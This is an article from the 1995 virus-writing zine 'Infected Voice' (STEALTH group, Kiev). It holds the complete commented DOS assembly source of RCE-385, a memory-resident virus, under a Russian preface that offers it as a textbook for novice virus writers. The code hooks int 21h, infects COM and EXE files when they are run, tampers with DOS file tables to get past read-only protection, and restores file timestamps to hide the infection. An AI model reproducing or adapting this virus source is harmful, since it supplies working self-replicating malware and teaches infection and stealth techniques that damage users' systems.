;█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ▀ ▀ ██▀██▀██ ;█ STEALTH group █░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀ ██ ▀▀ ██ ;█ presents █░ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ ▀█▀▀ █████ ██ ;█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄ █████▄██ ; ░░░░░░░░░░░░░░░░░ JAN 1995 ; ; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10. ; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!! ; ;--- RCE-385 (!).------------------------------------------------------------- ; Экие однако времена пошли - обьявился некий дядюшка Мостовой и написал свой ;чертовски дотошный AdInf -> ну и что же теперь?М-да,теперь сидим мы технокрысы ;и стенаем по тем добрым временам,когда у юзера целый зоопарк на машине бегал, ;а он - блажен в неведении,слюною брызжа,доказывал,что нету таких зверей в RAMе. ; А теперь понаставили примочек всяких - чуть что,сразу завопят!Даже стелзы ;призадумались : "А чего это мы сдесь тела свои сокрываем,прячась как *beep в ;*beep".И с тех пор пошел разлад в среде Вирмаков.Кто предлагает рыло в защищен- ;ный режим сунуть и тем самым подглядывание присечь,а кто по доброте душевной ;обещает при реакции детектора какого,аль сторожа вездесущего,машине винт ;на *beep опускать!Но все это полная *beepня!Послушайте братцы Вирмаки -- ;не в тираже счастье,а в красоте алгоритма!!!Нехай ловятся ваши звери всякими ;ревизорами,пусть форматит юзер свои винты.НО чем больше нас тем меньше юзеров! ;(Ибо многие из нас еще не позабыли Basic).А лечилки всякие - они нам землю ;расчищают,для новых "посадок"! ; Но сие все цветочками обзывается!А вот представте себе,что смышленный малый ;желает написать первое свое произведение,а нет у него ни теории ни матерых ;корешей-Вирмаков!Вот и пришлось мне составлять пособие-для-начинающих. ;Был это вирус RCE-666 (мною писан).Aidstest его кличет: INFO /666,Web: Die-666. ;но потом обрезав его маленько,получил я RCE-385! ; Надеюсь,что ОН для новичков- учебником станет,а для господ ламеров - достой- ;ным полигоном! ;----------------------------------------------------------------------------- ;(c) Light General.Kiev.1995. STEALTH group . For free use! ;----------------------------------------------------------------------------- cseg segment assume cs:cseg,ds:cseg org 100h start: nop ; Признак заражения .COM файла. jmp virr ; Якобы зараженная программа.(Занимает 30 байт). nop nop mov ah,09 lea dx,wrn int 21h mov ax,4c00h int 21h ;-------------------------------------- wrn db 'FRODO LIVES!$' ;-------------------------------------- ;################# VIRUS ################## virr: call $+3 pop si sub si,03 ;-Hacked mem.----------------------------------------------------- push si clc mov ax,0FEFEh ; Проверяем память на зараженность! int 21h ; Коли вирус УЖЕ сидит в машине то он jc exit_v ; поднимет флаг CF! ;- Следующая часть кода производит "откусывание" 512 байт памяти!------------- ; Принцип этого "откусывания" основывается на том,что при выполнении программы ;система строит перед ее кодом такие блоки (обратите внимание на выделенные ;части) ;---(1)--- MCB - Memory Control Block (Блок управления памятью) ; Обычно в таких блоках DOS описывает выделенные программам участки памяти! ; ФОРМАТ : ;─────────────────────┬───────┬─────────────────────────────────── ; Смещение ячейки от │ Длина │ Назначение ; начала блока. │ │ ; │ │ ; 00 │ 1b │ Если стоит 'M' то этот блок не последний ; │ │ 'Z' последний. ; 01 │ 1w │ Сегментный адрес (с которого выделен блок). ;++++> 03 │ 1w │ Длина блока в параграфах (параграф = 16 байт) ;─────────────────────┴───────┴─────────────────────────────────── ;Дальше идут еще данные,но нас интересует только это! ──────────── ; ;---(2)--- PSP - Program Segment Prefix (Префикс программного сегмента) ; Сдесь содержится информация для запускаемой программы! ; ФОРМАТ : ;─────────────────────┬───────┬─────────────────────────────────── ; Смещение ячейки от │ Длина │ Назначение ; начала блока. │ │ ; │ │ ; 00 │ 1w │ В этом слове стоит команда int 20h (CD 20h) ;++++> 02 │ 1w │ Общий размер памяти выделенный программе! ; │ │ (При запуске программы DOS выделяет ей всю ; │ │ память "до конца" 640 килобайт!) ;─────────────────────┴───────┴─────────────────────────────────── ;Дальше идут не интересующие нас данные! ───────────────────────── ;-- Так вот,отнимая некоторое значение от выделенных ячеек,мы можем сделать ;"дырку" в старших адресах памяти и перенести туда тело вируса! ; Практическая реализация : mov ax,ds dec ax mov es,ax sub word ptr es:[03],35 ;* 512b sub word ptr ds:[02],35 ;* 512b mov es,ds:[02] ; ES = сегментн. адр. "откуш." памяти! push ds cs pop ds xor di,di mov cx,offset ax_len-offset virr ; Длина вируса! rep movsb ; Переносим вирус в "отк." память! ;-Install int.---------------------------------------------------- mov al,21h mov dx,offset int_21h_entry-offset virr mov si,offset ofs_21h-offset virr push es pop ds call inst_int ; Установим адрес int 21h на свой ; обработчик. pop ds exit_v: push ds pop es pop si ;- COM or EXE ?--------------------------------------------------- ; Проверим из какого файла мы стартовали? ; Это делается потому,что передача управления .COM или .EXE программе ; происходит по разному! cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z' jz L_exe ;-Вocстановить три байта З.П.------------------------------------- ; У .COM файла надобно восстановить четыре первых байта которые мы изменили ; при заражения файла на диске!(Мы записали туда команду перехода на вирус). mov di,100h add si,offset origin_2_byte-offset virr ; SI = адрес буфера с оригинальными байтами .COM файла! push di movsw movsw xor ax,ax ret ; Go to infected com program. ;-Loaded from exe file.-------------------------------------------- ; А вот это способ активации .EXE программы! ; Сдесь происходит все иначе : т.к. при заражении файла мы изменили в нем ; заголовок который указывает с какого адреса этот файл запускают! ; (Кто не знает,что такое заголовок .EXE файла пусть обратится к книге П.Абеля ; "Язык Ассемблера для IBM PC и программирования" (стр. 362) L_exe: mov ax,es add ax,10h add cs:[offset CS_file-offset virr][si],ax ; Так мы вычислили сегмент в который надо передать управление! db 0eah ;- IP_file dw ? ;- JMP Far CS_file:IP_file CS_file dw ? ;- ;------------------------------------------------------------------ ; А это собственно часть отвечающая за заражение программ! int_21h_entry proc cmp ax,0FEFEh ;-Если собрат спрашивает о наличии jnz _@1 ;-своей родни то дать дружеский ответ. stc ;- int_24h_entry: mov al,03 retf 2 _@1: cmp ax,4b00h ; Если DOS пытается выполнить программу jnz exit_all ; то мы заражаем ее! jmp infecting ; exit_date: mov ax,5701h ; Установка старой даты файла. mov cx,es:[di+13] ;<- Time mov dx,es:[di+15] ;<- Date int 21h exit_close: mov ah,3eh ; Перед передачей управления DOS'у - int 21h ; закроем файл который заражали! exit_pop: lds dx,cs:[offset ofs_24h-offset virr] mov ax,2524h ; Установим на место int 24h int 21h pop bp pop ds pop es pop di pop si pop dx pop cx pop bx pop ax exit_all: db 0eah ofs_21h dw 0000 seg_21h dw 0000 int_21h_entry endp ;------------------------------------------------------------------- infecting: push ax push bx push cx push dx push si push di push es push ds push bp push ds push dx ;------------------------------------------------------------------ ; Переставим адрес вектора int 24h на наш обработчик - т.е. на простую ; заглушку,которая в случае "заклееной" дискеты не позволит DOS'у кричать : ; Write protect error ... mov al,24h mov si,offset ofs_24h-offset virr mov dx,offset int_24h_entry-offset virr call inst_int pop dx pop ds ;-Open file...----------------------------------------------------- mov ax,3d00h int 21h jc exit_pop ;-Read header (EXE) or first 4 byte (COM).------------------------- mov bh,3fh xchg ax,bx mov cx,18h push cs pop ds mov dx,offset origin_2_byte-offset virr mov si,dx int 21h ; Считываем в буфер 24 первых байта программы! _1: jc exit_close ; Если ошибка,то закроем файл и выйдем. ;-Look SFT file!----------------------------- ; Собственно говоря, далее идет "изюминка" вируса - из-за нее он имеет такие ;малые размеры!И так,что же это : ; Изволите ли видеть я весьма ленив,и не очень люблю возится с такими ; рутинами как снятие и установка атрибутов,перемещение файлового указателя! ; А посему раскопал я внутреннюю подробность DOS'а! ; (Она упоминается в работе К.Г.Финогенова "Самоучитель по системным функциям ; MS-DOS" (стр. 67) (а так же в электронном справочнике Help PC) ; (Впервые применено в RC-0-512 (666,Written by Dark Avenger.) ; Это SFT -- System File Table - (Системная таблица открытых файлов.) ;Она создается для вновь открываемого файла и содержит информацию используемую ;непосредственно процедурами записи/считывания DOS'а!!! ; ; ФОРМАТ : ;─────────────────────┬───────┬─────────────────────────────────── ; Смещение ячейки от │ Длина │ Назначение ; начала блока.(Дес.) │ │ ; │ │ ; 00 │ 1w │ Кол-во дескрипторов закрепленных за файлом ; 02 │ 1b │ Режим доступа заданный при его открытии ; 04 │ 1b │ Атрибуты файла ; 11 │ 1w │ Номер первого кластера файла ; 13 │ 1w │ Время последней модификации файла ; 15 │ 1w │ Дата ... ; 17 │ 2w │ Длина файла ; 21 │ 2w │ Указатель в файле ; 32 │ 11b │ Имя и расширение файла (без '.') ;─────────────────────┴───────┴─────────────────────────────────── mov ax,1220h ; Сей участочек кода позволяет push bx ; получить адрес SFT в паре ES:DI int 2fh ; mov bl,es:[di] ; mov ax,1216h ; int 2fh ; pop bx ; mov byte ptr es:[di+2],02 ; ВНИМАНИЕ!Этим действием мы ;сделали так,что теперь DOS ;считает,что файл открыт для ;записи/считывания! ; Т.е. нам не понадобилось ;снимать атрибуты файла! mov bp,es:[di+17] ; BP = file len! ;--------------------------------------------- ; Теперь проверяем байты которые считали в буфер. lodsb dec si cmp al,'M' ; MZ - признак того,что это .EXE файл! jz _EXE cmp al,90h ; NOP - если это .COM файл то проверим его на ; повторную зараженность!(Смотрите в начало) _1d: jz exit_close ;-Infect .COM -------------------------------- ; Так заражают .COM файлы! xchg ax,bp cmp ax,65000 ja exit_close ;Длина больше допустимой. mov es:[di+21],ax ;Ставим файловый указатель в ;конец файла! ;-Make JMP------------------------------------ ; Т.к. при заражении мы вписываем в начало .COM файла переход на тело вируса то ;мы должны вычислить смещение этого перехода! sub ax,04 mov ds:[offset jmp_n-offset virr],ax call write_virus ; Пишем вирус в конец файла! mov cx,04h ; А теперь пишем в начало файла тот самый mov dx,offset new_3_byte-offset virr ; переход! exit_write: mov ah,40h int 21h _1b: jmp exit_date ;-Sub. for write virus body (only) in file.---- write_virus proc xor dx,dx mov ah,40h mov cx,offset ax_len-offset virr int 21h mov es:[di+21],dx ; F.P = start file! mov es:[di+23],dx cmp ax,cx jnz _1c ret _1c: pop ax jmp _1b ; exit_date! write_virus endp ;-Infect .EXE --------------------------------- _EXE: ; А теперь высчитаем длину файла, исходя из данных записанных в заголовке ; .EXE файла! И если она не сойдется с записаной в SFT, то мы считаем,что ; это файл, содержащий неявный оверлей и не заражаем его! mov ax,ds:[si+4] ; Pages (512b). dec ax mov cx,512 mul cx add ax,[si+2] ; AX = File len from header. cmp ax,bp ; Real file len = ax ? jnz _1b ; No - this is overlay. ;----- mov es:[di+21],ax ; Указатель в конец файла. mov es:[di+23],dx ;-Get header.----------------------------------- ; Запоминаем адрес с которого мы будем запускать .EXE программу! mov ax,[si+14h] mov ds:[offset IP_file-offset virr],ax mov ax,[si+16h] mov ds:[offset CS_file-offset virr],ax ;----------------------------------------------- ; Вычислим новый адрес (т.е. для запуска вируса при старте программы) xchg ax,bp mov cx,10h div cx sub ax,[si+8] sbb dx,0 mov [si+16h],ax ; ReloCS. mov [si+14h],dx ; ExeIP. ;-Correcting file len in header.---------------- ;Теперь откорректируем длину в заголовке .EXE файла! ;(ПРЕДУПРЕЖДАЮ!Длина вируса = 385 ,а мы увеличиваем длину файла в заголовке ; не на 385 ,а на 512!!!Т.е. теперь другие "умные вирусы" не будут заражать ; этот файл).Собственно говоря эта особенность является признаком заражения,- ; мы ведь не заражаем оверлеи! inc word ptr ds:[si+4] ;-Write virus to file.-------------------------- call write_virus ;-Write new header.----------------------------- mov cx,18h mov dx,si ; DX = offset header. jmp exit_write ; Подготовив все к записи исправленного ;заголовка мы передаем управление прямо ;на команду int 21h! ;---------------------------------------------- inst_int proc mov ah,35h int 21h mov ds:[si],bx mov ds:[si+2],es mov ah,25h int 21h ret inst_int endp new_3_byte db 90h ; NOP db 0e9h ; JMP nn jmp_n dw 0000 ; nn ;-Header for EXE file & buffer for first 5 bytes COM's file.-- origin_2_byte: header: db 4 dup (90h) ; NOPs ax_len db ? db 20h dup (?) ; For EXE header. ofs_24h dw ? seg_24h dw ? ;******************************************************** cseg ends end start ;-- Written by Light General.Kiev.1995.For free use! ----